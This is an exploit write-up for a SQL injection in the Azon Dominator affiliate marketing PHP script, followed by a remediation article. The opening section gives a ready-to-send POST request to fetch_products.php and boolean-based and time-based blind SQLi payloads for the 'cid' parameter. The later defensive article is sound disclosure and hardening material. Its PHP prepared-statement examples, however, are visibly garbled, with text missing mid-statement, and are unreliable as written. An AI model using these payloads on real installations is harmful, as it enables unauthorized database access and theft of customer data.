Azon Dominator Affiliate Marketing Script - SQL Injection
# Exploit Title: Azon Dominator - Affiliate Marketing Script - SQL Injection
# Date: 2024-06-03
# Exploit Author: Buğra Enis Dönmez
# Vendor: https://www.codester.com/items/12775/azon-dominator-affiliate-marketing-script
# Demo Site: https://azon-dominator.webister.net/
# Tested on: Arch Linux
# CVE: N/A
### Request ###
POST /fetch_products.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: */*
x-requested-with: XMLHttpRequest
Referer: https://localhost/
Cookie: PHPSESSID=crlcn84lfvpe8c3732rgj3gegg; sc_is_visitor_unique=rx12928762.1717438191.4D4FA5E53F654F9150285A1CA42E7E22.8.8.8.8.8.8.8.8.8
Content-Length: 79
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Host: localhost
Connection: Keep-alive
cid=1*if(now()=sysdate()%2Csleep(6)%2C0)&max_price=124&minimum_range=0&sort=112
###
### Parameter & Payloads ###
Parameter: cid (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cid=1) AND 7735=7735 AND (5267=5267
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cid=1) AND (SELECT 7626 FROM (SELECT(SLEEP(5)))yOxS) AND (8442=8442
### Azon Dominator Affiliate Marketing Script — SQL Injection: Overview, Risks, and Remediation
This article summarizes a reported SQL injection vulnerability affecting the Azon Dominator affiliate marketing script (a PHP-based product sold on third-party marketplaces). It explains the nature and impact of SQL injection (SQLi) in this context, safe detection methods, and practical remediation guidance for developers and administrators responsible for affected installations.
What happened (high-level)
Researchers identified an input parameter in the Azon Dominator code that was used directly in database queries without sufficient sanitization or parameterization. This allowed attackers to manipulate the SQL logic and extract data or influence query execution. The vulnerability class is SQL Injection (CWE-89), and in affected installations it could be leveraged as blind SQLi variants.
Why this is serious
- SQLi can allow unauthorized data access (customer data, credentials, configuration).
- Attackers can escalate to remote code execution depending on database and application context.
- Blind SQLi variants are stealthy and can be used to exfiltrate data slowly or to cause denial-of-service conditions.
- Marketplace-distributed applications often run on many unmanaged hosts, increasing the attack surface.
Typical indicators of compromise or presence
- Unexpected or malformed parameter values appearing in web server logs.
- Slow or delayed responses from endpoints (may indicate time-based injection attempts).
- Database error messages or repeated abnormal queries in DB logs.
- Unexplained data access patterns or queries originating from the web application user.
Risk assessment and impact matrix
| Asset | Impact if exploited | Typical Priority |
|---|---|---|
| User/customer data | Disclosure or modification | High |
| Application configuration / API keys | Credential theft, further compromise | Critical |
| Database availability | Denial of service or lockups | Medium |
Safe detection and testing guidance
Only test systems you own or have explicit authorization to assess. For authorized assessments, use non-destructive techniques first:
- Review source code for unsanitized query concatenation and absence of parameterized statements.
- Check access logs for repetitive, unusual parameter values or IPs hitting the same endpoint.
- Query database logs for unexpected slow queries or unusual WHERE clause patterns.
- Use trusted vulnerability scanners in non-production environments to verify and reproduce findings safely.
Remediation checklist (developer and ops guidance)
- Immediately update to a patched vendor release if available. Monitor vendor channels for official patches or advisories.
- Migrate all dynamic SQL to parameterized queries (prepared statements) or use a proven ORM that enforces parameterization.
- Validate and sanitize input: enforce strict types and ranges. For numeric IDs, cast to integer and validate allowed ranges.
- Give the database account only the minimum privileges required (principle of least privilege).
- Enable application-level logging and alerting for anomalous input patterns and slow endpoints.
- Deploy or tune a Web Application Firewall (WAF) as an additional mitigation while code fixes are applied.
- Rotate credentials and secrets if you suspect compromise.
- Follow responsible disclosure practices with the vendor and coordinate patch deployment for customers.
Secure coding examples (PHP) — use prepared statements and input validation
// Example: PDO prepared statement for fetching a product list by category id
$db = new PDO('mysql:host=localhost;dbname=azon', 'app_user', 'secret_password', [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
]);
// Validate input: enforce integer type and range
$rawCid = $_POST['cid'] ?? '';
$cid = filter_var($rawCid, FILTER_VALIDATE_INT, [
'options' => ['min_range' => 1, 'max_range' => 1000000]
]);
if ($cid === false) {
// handle invalid input safely
http_response_code(400);
echo json_encode(['error' => 'Invalid category id']);
exit;
}
$stmt = $db->prepare('SELECT id, title, price FROM products WHERE category_id = :cid AND price bindValue(':cid', $cid, PDO::PARAM_INT);
$stmt->bindValue(':max_price', $maxPrice, PDO::PARAM_INT); // $maxPrice validated earlier
$stmt->execute();
$rows = $stmt->fetchAll();
echo json_encode($rows);
Explanation: This code uses PDO prepared statements to separate SQL logic from data. Input is validated with filter_var to ensure it is an integer within an expected range. Binding parameters with explicit types prevents user input from altering SQL structure.
// Example: procedural mysqli with parameter binding
$mysqli = new mysqli('127.0.0.1', 'app_user', 'secret_password', 'azon');
if ($mysqli->connect_error) {
// handle connection error
exit;
}
$cid = isset($_POST['cid']) ? intval($_POST['cid']) : 0;
if ($cid prepare('SELECT id, title, price FROM products WHERE category_id = ? AND price bind_param('ii', $cid, $maxPrice);
$stmt->execute();
$result = $stmt->get_result();
$rows = $result->fetch_all(MYSQLI_ASSOC);
echo json_encode($rows);
Explanation: Using mysqli::prepare with bind_param ensures that the database receives SQL code and data separately. Casting inputs with intval and checking limits further reduces the risk of unexpected values.
Additional defensive controls
- Database: enable logging of slow and failed queries and periodically review for anomalous patterns.
- Infrastructure: deploy WAF rules tuned to block common SQLi patterns and monitor false positives.
- Rate limiting and IP reputation: limit repeated requests to the same endpoint to reduce automated exploitation attempts.
- Testing: integrate automated security tests into CI (static analysis, dependency checks, and dynamic scans in staging).
- Incident response: prepare a playbook for compromise, including how to collect forensic logs, contain incidents, and notify stakeholders.
Responsible disclosure and coordination
- Report issues to the product/vendor through their official support or security contact, providing reproduction steps limited to authorized parties.
- Provide remediation advice and patches if you are a maintainer or a security researcher sharing fixes.
- If coordinating a public disclosure, follow responsible disclosure timelines and provide mitigation guidance for customers who cannot patch immediately.
Conclusion
SQL injection remains one of the most impactful web application vulnerabilities. For Azon Dominator and similar PHP applications, the recommended path is to patch vendor releases, ensure all DB access uses parameterized queries, enforce strict input validation, and implement layered defenses (least privilege, WAF, logging). These measures reduce risk, make exploitation more difficult, and help preserve customer trust.